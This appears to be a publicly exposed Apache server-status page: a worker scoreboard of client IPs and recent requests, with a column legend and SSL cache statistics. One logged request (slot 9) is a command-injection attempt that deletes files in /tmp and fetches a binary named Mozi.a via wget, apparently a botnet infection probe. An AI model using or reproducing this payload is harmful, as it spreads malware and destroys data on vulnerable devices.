______W..._..................................................... ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Conn | Child | Slot | Client | Protocol | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0-107 | 25858 | 0/9/4029 | _ | 0.12 | 238 | 3 | 0.0 | 0.02 | 16.66 | 207.46.13.119 | http/1.1 | localhost:443 | GET / HTTP/1.1 |
1-107 | 26744 | 0/10/3987 | _ | 0.09 | 490 | 4 | 0.0 | 0.03 | 13.54 | 71.6.165.200 | http/1.1 | ||
2-107 | 27233 | 0/9/3552 | _ | 0.10 | 509 | 4 | 0.0 | 0.01 | 16.42 | 71.6.165.200 | http/1.1 | localhost:443 | GET / HTTP/1.1 |
3-107 | 28661 | 0/3/3562 | _ | 0.04 | 509 | 1 | 0.0 | 0.01 | 12.69 | 71.6.165.200 | http/1.1 | ||
4-107 | 25859 | 0/8/3013 | _ | 0.11 | 455 | 5 | 0.0 | 0.02 | 14.39 | 189.127.145.222 | http/1.1 | localhost:80 | GET / HTTP/1.1 |
5-107 | 25856 | 0/9/3255 | _ | 0.14 | 244 | 0 | 0.0 | 0.03 | 14.13 | 40.77.167.97 | http/1.1 | localhost:443 | GET /robots.txt HTTP/1.1 |
6-107 | 25857 | 1/11/3120 | W | 0.11 | 0 | 0 | 0.6 | 0.02 | 12.88 | 3.236.221.156 | http/1.1 | localhost:80 | GET /server-status HTTP/1.1 |
7-106 | - | 0/0/2622 | . | 0.16 | 38412 | 0 | 0.0 | 0.00 | 10.65 | ::1 | http/1.1 | ||
8-106 | - | 0/0/1240 | . | 0.20 | 25845 | 5 | 0.0 | 0.00 | 6.44 | 34.247.50.43 | http/1.1 | localhost:80 | GET / HTTP/1.1 |
9-106 | - | 0/0/1540 | . | 0.05 | 25845 | 1 | 0.0 | 0.00 | 3.87 | 178.72.69.89 | http/1.1 | localhost:80 | GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a |
10-107 | 25855 | 0/9/1153 | _ | 0.09 | 510 | 3 | 0.0 | 0.02 | 3.30 | 71.6.165.200 | http/1.1 | ||
11-106 | - | 0/0/795 | . | 0.02 | 25845 | 0 | 0.0 | 0.00 | 2.00 | 156.96.154.202 | http/1.1 | localhost:80 | GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1 |
12-100 | - | 0/0/268 | . | 0.13 | 564898 | 0 | 0.0 | 0.00 | 0.67 | ::1 | http/1.1 | ||
13-100 | - | 0/0/295 | . | 0.00 | 564897 | 0 | 0.0 | 0.00 | 0.57 | ::1 | http/1.1 | ||
14-94 | - | 0/0/48 | . | 0.07 | 1062644 | 804 | 0.0 | 0.00 | 0.22 | 211.95.50.4 | http/1.1 | localhost:443 | GET /js/jquery-1.2.6.js HTTP/1.1 |
15-87 | - | 0/0/59 | . | 0.09 | 1667445 | 5 | 0.0 | 0.00 | 0.16 | 54.36.148.104 | http/1.1 | localhost:80 | GET / HTTP/1.1 |
16-79 | - | 0/0/36 | . | 0.04 | 2373878 | 1 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
17-79 | - | 0/0/14 | . | 0.11 | 2420415 | 0 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
18-79 | - | 0/0/3 | . | 0.00 | 2425957 | 10010 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
19-79 | - | 0/0/8 | . | 0.01 | 2425962 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
20-79 | - | 0/0/428 | . | 0.00 | 2425958 | 0 | 0.0 | 0.00 | 3.17 | ::1 | http/1.1 | ||
21-79 | - | 0/0/291 | . | 0.14 | 2426083 | 0 | 0.0 | 0.00 | 0.56 | ::1 | http/1.1 | ||
22-79 | - | 0/0/471 | . | 0.00 | 2425946 | 0 | 0.0 | 0.00 | 4.58 | ::1 | http/1.1 | ||
23-65 | - | 0/0/11 | . | 0.06 | 3568245 | 2 | 0.0 | 0.00 | 0.02 | 36.95.48.181 | http/1.1 | ||
24-65 | - | 0/0/9 | . | 0.00 | 3576821 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
25-65 | - | 0/0/3 | . | 0.00 | 3576817 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 17 total entries replaced since starting: 0 total entries expired since starting: 17 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 47 miss total removes since starting: 0 hit, 0 miss |